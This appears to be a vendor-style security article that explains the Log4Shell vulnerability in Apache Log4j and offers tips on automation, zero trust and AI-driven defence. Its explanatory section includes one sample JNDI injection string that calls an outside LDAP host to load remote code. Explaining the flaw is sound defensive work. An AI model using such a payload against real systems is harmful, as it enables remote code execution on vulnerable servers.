Preemptive Strategies to Stop Log4j and Its Variants

The Apache Log4j vulnerability, now called Log4Shell, took security teams by surprise and the Internet by storm.

A seemingly innocuous logging tool has been used by hackers to take control of vulnerable applications. Apache has rated this vulnerability as “critical” and has published a patch in an attempt to contain the potential damage. Log4Shell has also received the top CVSS score of 10. This means that the vulnerability is a critical flaw in a piece of code used at the foundation of a vast number of Web applications and is considered extremely widespread and dangerous.

The exploit works by relying on the benign nature of logs. Logs are typically not used as attack vectors, which is why this attack took so many security organizations by surprise. In this case, the Log4Shell vulnerability is contained within a lookup plug-in, which provides a way for Java apps to retrieve objects stored in a DNS or LDAP directory. The plug-in allows the ability to do something more proactive than “just” log, and therein lies the key to the problem — and gives the attacker the ability to exploit a logging tool in order to hack an app.

The JNDI Lookup plug-in contains the Log4Shell vulnerability and, in general, the queries for the plug-in input should include just the object name. When a URL is inserted instead of the object name, however — e.g., ${jndi:ldap://website.com/rce} — Log4j will connect to the JNDI on the specified server and obtain the Java object. This enables remote code execution on the logging server.

The ubiquitous nature of this logging tool means that the exploit opportunities for hackers are endless.

Cloud application security always has been a challenge. Not only do the number of cloud applications continue to grow, the applications themselves evolve and usage changes over time. Yet we expect these applications to remain secure as they grow, and for our security teams to be able to keep up.

Herein lies the problem. As DevOps teams are innovating faster than ever, it’s critical to ensure that applications remain protected as they continue to develop. To protect against this attack and ones to come, organizations must stay preemptive and adjust their cloud application security strategy to ensure it not only scales with cloud adoption but prevents the next zero-day attack. Here are a few ways to make that happen.

Tip 1: Build automation into your cloud security processes.
As a rule of thumb, if your cloud tools aren’t automated, then they won’t keep up with your developer teams, and this includes cloud security tools. Without automation, they won’t be able to stay ahead, preempt the next attack, and find bad actors. It’s important to ensure that as the application evolves, the new parts are protected as fast as possible.

Tip 2: Remove as much human intervention as possible.
While human oversight is important to interpret data and look at macro trends, it’s impossible for human administration to monitor and evaluate all of the microservices and code running within a cloud application. As shown by the Log4j exploit, human administration is a liability in application security, as teams scramble to patch security systems. Modern technology provides us with an opportunity to leverage machine learning and artificial intelligence, which can keep security relevant as the application evolves faster than we could ever previously have imagined. It is time to maximize this opportunity.

Tip 3: Take a zero-trust approach to security.
With zero-day attacks like the Log4j exploit, it’s important that your teams adopt a zero-trust approach to prevent attacks — rather than respond and remediate. Use security that provides prevention in order to eliminate the need for your security teams to go back and patch potential vulnerabilities after they’ve been discovered.

Tip 4: Assume nothing!
When your DevOps teams are building or improving applications, make sure that all infrastructure-as-code and any other third party code are all compliant with your organization’s security policies and are protected in some way. Log4Shell is a great example of how innovative hackers are.

The cloud has given organizations opportunities for innovation and success, but it’s critical to remember that bad actors are leveraging the same advantages of speed and scale in the cloud. The Log4j exploit proves this. While it’s true that organizations could monitor continuously and alert where necessary, this represents remediation, which is never as effective as prevention and preemptive measures. Which is why AI is a critical component when attempting to remain secure in today’s threat landscape.

To remain ahead of the criminals, organizations must ensure that they’re leveraging hands-off, automated zero-trust security across their entire cloud environment and through their application life cycles.

Read More HERE